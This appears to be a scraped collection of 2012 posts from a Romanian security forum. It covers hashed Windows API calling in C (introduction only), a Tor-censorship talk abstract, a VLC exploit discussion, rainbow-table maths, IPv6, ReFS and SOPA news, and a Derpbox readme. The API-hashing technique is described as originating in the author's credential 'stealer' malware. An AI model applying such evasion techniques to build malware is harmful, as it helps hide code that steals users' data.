[C] Dynamic API calling Author: /* Calling Windows API without using any API. 32bit version. Tested on Win7 x64. by January, 2012. This is how I've been doing my API calling for years. I believe I first started doing it with the Ju u stealer. Using an array of function pointers and an array of hashes for each library, I find it much easier to gather all of the necessary API pointers than doing 1 function call for each API I want to use. Or doing a function call every time I want to use an API. get_k32base() has been changed from what it used to be because I found it was no longer working on my win7.

[h=1]28C3: How governments have tried to block Tor (en)[/h] For more information visit: 28C3: speakers To download the video visit: Documentation - 28C3 public wiki Playlist 28C3: 28C3: Behind Enemy Lines - YouTube Speakers: Jacob Appelbaum | Roger Dingledine Iran blocked Tor handshakes using Deep Packet Inspection (DPI) in January 2011 and September 2011. Bluecoat tested out a Tor handshake filter in Syria in June 2011. China has been harvesting and blocking IP addresses for both public Tor relays and private Tor bridges for years. Roger Dingledine and Jacob Appelbaum will talk about how exactly these governments are doing the blocking, both in terms of what signatures they filter in Tor (and how we've gotten around the blocking in each case), and what technologies they use to deploy the filters -- including the use of Western technology to operate the surveillance and censorship infrastructure in Tunisia (Smartfilter), Syria (Bluecoat), and other countries. We'll cover what we've learned about the mindset of the censor operators (who in many cases don't want to block Tor because they use it!), and how we can measure and track the wide-scale censorship in these countries. Last, we'll explain Tor's development plans to get ahead of the address harvesting and handshake DPI arms races. Link: Tocmai l-am vazut, e ceva ce trebuie vazut, ce s-a intamplat in Iran, China, Siria, Tunisia, Egipt se poate intampla si la noi, si e bine sa stim ce se intampla, ce se poate face pentru monitorizarea traficului.

Ai nevoie de host? Nu ai bani din chestiile private si unice si smechere pe care le ai, probabil gasite de tine? Sa fim seriosi, e o porcarie ideea.

Hackerii care stiu sa descarce LOIC si sa dea un click. Profesionisti.

E scanf, citeste. Returneaza 0 in caz de eroare, ceea ce probabil se intampla si aici, sau numarul de chestii citite. Aici, citeste "%d" + 2. Acel "%d" e in memorie % d NULL, deci practic e un: scanf(NULL); adica returneaza 0. Oricum nu e afisat nimic, dar asa functioneaza.

"dfsdfdsf" - sir de caractere, pointer la sir de caractere terminat in NULL "%d" - idem mai sus "%d" + 2 - idem mai sus, +2 la adresa pointerului

Ai incercat pe o versiune mai veche de kernel? Kernelul are suport pentru "promiscuous mode"? Poate IOCTL-ul SIOCSIFFLAGS nu e folosit cum trebuie, poate au fost facute modificari pe versiunile mai noi de kernel, desi nu cred... Am citit putin, si pare ceva legat de modul in care se seteaza placa de retea in "promiscuous mode", fie cu ifconfig, fie programabil, cu acest IOCTL, dar nu am timp acum sa citesc si nu cred ca as gasi ceva concret.

Da, dragut, speram sa aflu cate ceva despre exploit-ul in sine. Am citit "povestea" unui stack overflow intr-un alt tip de fisier, tot in VLC, si e extrem de interesant, cum a fost gasit acel stack overflow si cum s-a putut exploata. Si nu e deloc simplu. Oricum, VLC are un parser pentru formatele de fisiere, si cred ca ar trebui sa mearga pentru orice extensie a acelui fisier. De asemenea, VLC parca avea si un plugin pentru Mozilla, oare se va executa payload-ul daca acel fisier e pus intr-un HTML sa fie vizualizat in browser?

Sincer, nu m-a impresionat nimic.

Cauta cartea "Java de la 0 la expert", am vazut-o pe la Diverta parca. Acopera mult din ceea ce inseamna Java si e explicata pas cu pas. Inca o data spun, cred ca e printre cele mai bune carti pe care le-am citit. PS: Sfatul meu e sa nu te angajezi, nu intr-un domeniu despre care nu stii foarte multe pentru ca e posibil sa nu iti placa. Cel mai bine cauti un job cu limbajul de programare care iti place.

MD5 = 32 caractere in hex, are 16 bytes Caractere alfa-numerice: 62 (a-z, A-Z, 0-9) Dimensiune parola: 6 caractere Combinatii posibile: 62 ^ 6 Bytes necesari: 62 ^ 6 * 16 = 908803769344 bytes = 846 TB Sper ca nu am gresit la calculate. Nu te poti baza doar pe cuvinte de dictionar. Practic cred ca 80% dintre parole NU sunt cuvinte de dictionar. Bine, 10% dintre ele sunt: "123456", "qwerty"... Ganditi-va si voi la toate parolele pe care le aveti. Cate sunt cuvinte de dictionar?

Sa speram ca pe viitor va creste atat cantitatea, cat si calitatea posturilor, ca membrii se vor axa mai mult pe discutii tehnice si ca nu se vor pierde in teme OTV-iste populand cu zeci de pagini topicuri penibile. Sa speram ca numarul tutorialelor si a discutiilor stric legate de domeniile pe care forumul vrea sa le acopere va creste semnificativ si ca numarul membrilor interesati de acumularea unor noi cunostinte va exploda. // Muie SOPA

[h=1]Cum arata noul sistem de fisiere Windows 8 (servere)[/h]de Liviu Petrescu | 18 ianuarie 2012 Pana acum, Windows 8 a atras interesul presei prin interfata Metro. Noul sistem de operare Microsoft va oferi si un nou sistem de fisiere, ce va fi disponibil doar in varianta Windows Server 8. Pe baza cunoscutului NTFS, dezvoltatorii au creat ReFS (Resilient File System) ce va fi introdus initial doar in versiunea pentru servere a Windows 8, scrie MaximumPC. Creat de la zero, sistemul ReFS pastreaza o mare parte dintre functionalitatile NTFS, dar a fost descris ca mult mai rezistent. Imbunatatirile aduse prin noul sistem ReFS includ verificarea si corectarea a automata a datelor stocate. Sistemul va opera orice rectificare "live", fara sa aiba nevoie de trecerea in mod offline. ReFS va oferi si integritate meta data cu checksums, suport pentru volume mari de fisiere si foldere si verificarea automata a hard disk-urilor pentru eliminarea erorilor latente.

[h=1]6 iunie, data la care lumea trece la IPv6[/h]de Liviu Petrescu | 18 ianuarie 2012 Infrastructura Internetului este pe cale de a suporta un upgrade major. In data de 6 iunie 2012, Internet Protocol version 4 va incepe sa fie abandonat in favoarea lui IPv6. O mare parte dintre companiile telecom, dintre producatorii de echipamente de networking si dintre companiile de web au ales data de 6 iunie 2012 pentru implementarea IPv6, potrivit Slashdot. Versiunea actuala a Internet Protocol permite conectatarea la retea a aproximativ 4,3 miliarde de statii, numar ce se apropie rapid de limita superioara. IPv6 va "extinde" internetul, dar data de 6 iunie este doar primul pas. Operatorii telecom au promis ca minim 1% dintre utilizatorii rezidentiali vor incepe sa acceseze site-urile compatibile la aceasta data, numarul lor urmand sa creasca tot mai repede. Google, Facebook si Bing se numara printre companiile care sustin upgrade-ul rapid al infrastructurii internetului. Trecerea la IPv6 a fost testata pentru o zi de multe companii in data de 8 iunie 2011, dar cele mai multe au revenit la IPv4. De aceasta data, trecerea va fi ireversibila.

De ce si "dl"? Credeam ca safe_mode va fi deprecated in versiunea 6. Sau va fi Off implicit, nu mai stiu. Oricum util, desi sunt lucruri cunoscute de la versiuni mai vechi.

Ce probleme sunt pe forum? In afara de chat.

Nu e asta o problema. Ciudat, e trimis un singur pachet.

[h=1]Wikipedia Going Dark to Protest SOPA[/h] Wikpedia will go offline Wednesday to protest the Stop Online Piracy Act (SOPA), according to Co-Founder Jimmy Wales. Wales made the announcement via a series of tweets. “This is going to be wow,” reads one tweet. “I hope Wikipedia will melt phone systems in Washington on Wednesday. Tell everyone you know!” Jimmy Wales @jimmy_wales This is going to be wow. I hope Wikipedia will melt phone systems in Washington on Wednesday. Tell everyone you know! Wales has been mulling the idea of a blackout on his user talk page. Wikipedia joins other major websites, such as Reddit, where a very active anti-SOPA community exists. Wales tweeted that the decision was made by community consensus among Wikipedia users: David Monniaux @dmonniaux 16 Jan 12 @jimmy_wales Will this affect users outside of the US? Jimmy Wales @jimmy_wales @dmonniaux The emerging consensus of the community seems to be for a global blackout of English Wikipedia. 16 Jan 12 According to another tweet by Wales, Wikipedia English receives approximately 25 million visitors every day. Wikipedia’s decision means those millions of visitors will be greeted not with the usual digital tome of knowledge, but with a screen explaining the company’s stance on the bill and information on how to take action against SOPA. The blackout will only effect the English language page. “Student warning! Do your homework early,” joked Wales in another tweet. “Wikipedia protesting bad law on Wednesday!” Jimmy Wales @jimmy_wales Student warning! Do your homework early. Wikipedia protesting bad law on Wednesday! #sopa 16 Jan 12 Late last week, the authors of both SOPA and the Protect IP Act (PIPA) announced they would be removing the DNS blocking provisions from both bills. The DNS acts as a kind of “phone book” for the Internet, and many in the tech community warned that interfering with DNS would have catastrophic consequences for the stability and security of the Internet. However, many – including Wales – have responded with a whole-hearted “that’s not good enough.” An anti-SOPA Twitter, tweeted today that “closing a global business in reaction to single-issue national politics is foolish,” perhaps an indication that Twitter will not be following in the footsteps of Wikipedia and Reddit. Meanwhile, Rupert Murdoch, CEO of News Corporation, went on a Twitter diatribe lambasting the Obama administration for failing to support SOPA. Sursa: Wikipedia Going Dark to Protest SOPA

Derpbox secure replacement for Dropbox [h=1]Derpbox[/h] [h=2]What?[/h] Derpbox is a secure replacement for Dropbox, written in bash. Released under the beer-ware license, a pint of cider is fine too. It runs fine with GNU bash 4.2.8 and rsync 3.0.7. [h=2]Why?[/h] I've been hearing from Dropbox for years now, it started with "hey, this thing is awesome" and promptly went "how is that called 'security?'" and now is "WTF, they are copyrighting our files". I still don't really have the need for Dropbox but I sure could use something to sync my .bashrc and .vimrc across all my work and home machines. So I wrote something awesome, secure and open. Bash for the awesomeness, rsync for the security and open because I like beer. [h=2]How?[/h] Derpbox uses rsync to synchronize files and relies on cron to do it automatically. When two files are in conflict, the most recent one is used. If the server was updated after you made modifications to your local file, your changes will be lost. [h=2]Secure?[/h] As secure as SSH can be. [h=2]Installation?[/h] [h=3]Three, easy steps to install derpbox :[/h] Place all the .sh files in a directory, ~/.derp can do fine. Edit config.sh and change what you need. Run install.sh. [h=3]Three, easy steps to setup a derpbox repository :[/h] Install rsync. Create a dir you will use as $DBOX_RPATH in the client. Get back to work. [h=3]One, easy extra step for the clients and the server :[/h] Don't forget to have a proper SSH configuration and working SSH keys, otherwise the derpbox won't work. [h=2]Removal?[/h] I don't know why you would do that, but just in case : Run remove.sh Remove manually all the files and scripts. Download: https://github.com/L-P/Derpbox Muie vBulletin.
